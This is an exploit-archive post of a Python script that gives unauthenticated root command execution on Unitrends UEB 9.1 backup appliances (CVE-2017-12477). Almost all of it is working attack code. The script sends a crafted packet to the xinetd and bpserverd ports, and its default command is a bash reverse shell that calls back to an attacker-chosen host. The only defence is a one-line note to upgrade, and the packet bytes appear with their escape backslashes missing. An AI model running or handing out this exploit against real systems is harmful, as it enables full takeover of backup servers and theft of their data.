Unitrends UEB 9.1 bpserverd Remote Command Execution
Posted on 07 October 2017
# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1 # Date: 08/08/2017 # Exploit Authors: Jared Arave, Cale Smith, Benny Husted # Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413 # Vendor Homepage: https://www.unitrends.com/ # Software Link: https://www.unitrends.com/download/enterprise-backup-software # Version: 9.1 # Tested on: CentOS6 # CVE: CVE-2017-12477 import socket import binascii import struct import time import sys from optparse import OptionParser print """ ############################################################################### Unauthenticated root RCE for Unitrends UEB 9.1 Tested against appliance versions: [+] 9.1.0-2.201611302120.CentOS6 This exploit uses roughly the same process to gain root execution as does the apache user on the Unitrends appliance. The process is something like this: 1. Connect to xinetd process (it's usually running on port 1743) 2. This process will send something like: '?A,Connect36092' 3. Initiate a second connection to the port specified in the packet from xinetd (36092 in this example) 4. send a specially crafted packet to xinetd, containing the command to be executed as root 5. Receive command output from the connection to port 36092 6. Close both connections NB: Even if you don't strictly need output from your command, The second connection must still be made for the command to be executed at all. ############################################################################### """ # Parse command line args: usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port> " " %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'" parser = OptionParser(usage=usage) parser.add_option("-r", '--RHOST', dest='rhost', action="store", help="Target host w/ UNITRENDS UEB installation") parser.add_option("-l", '--LHOST', dest='lhost', action="store", help="Host listening for reverse shell connection") parser.add_option("-p", '--LPORT', dest='lport', action="store", help="Port on which nc is listening") parser.add_option("-c", '--cmd', dest='cmd', action="store", help="Run a custom command, no reverse shell for you.") parser.add_option("-x", '--xinetd', dest='xinetd', action="store", type="int", default=1743, help="port on which xinetd is running (default: 1743)") (options, args) = parser.parse_args() if options.cmd: if (options.lhost or options.lport): parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mutually exclusive. ") elif not options.rhost: parser.error("[!] No remote host specified. ") elif options.rhost is None or options.lhost is None or options.lport is None: parser.print_help() sys.exit(1) RHOST = options.rhost LHOST = options.lhost LPORT = options.lport XINETDPORT = options.xinetd if options.cmd: cmd = options.cmd else: cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT) def recv_timeout(the_socket,timeout=2): the_socket.setblocking(0) total_data=[];data='';begin=time.time() while 1: #if you got some data, then break after wait sec if total_data and time.time()-begin>timeout: break #if you got no data at all, wait a little longer elif time.time()-begin>timeout*2: break try: data=the_socket.recv(8192) if data: total_data.append(data) begin=time.time() else: time.sleep(0.1) except: pass return ''.join(total_data) print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT)) try: s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((RHOST,XINETDPORT)) except: print "[!] Failed to connect!" exit() data = s1.recv(4096) bpd_port = int(data[-8:-3]) print "[+] Connected! Cmd output will come back on {}:{}".format(RHOST, str(bpd_port)) print "[+] Connecting to bpdserverd on {}:{}".format(RHOST, str(bpd_port)) try: s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((RHOST, bpd_port)) except: print "[!] Failed to connect!" s1.close() exit() print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT)) print "[+] '{0}'".format(cmd) if (len(cmd) > 240): print "[!] This command is long; this might not work." print "[!] Maybe try a shorter command..." cmd_len = chr(len(cmd) + 3) packet_len = chr(len(cmd) + 23) packet = 'xa5x52x00x2d' packet += 'x00' * 3 packet += packet_len packet += 'x00' * 3 packet += 'x01' packet += 'x00' * 3 packet += 'x4c' packet += 'x00' * 3 packet += cmd_len packet += cmd packet += 'x00' * 3 s1.send(packet) print "[+] cmd packet sent!" print "[+] Waiting for response from {0}:{1}".format(RHOST,str(bpd_port)) data = recv_timeout(s2) print "[+] Here's the output -> " print data print "[+] Closing ports, exiting...." s1.close() s2.close() # 3. Solution: # Update to Unitrends UEB 10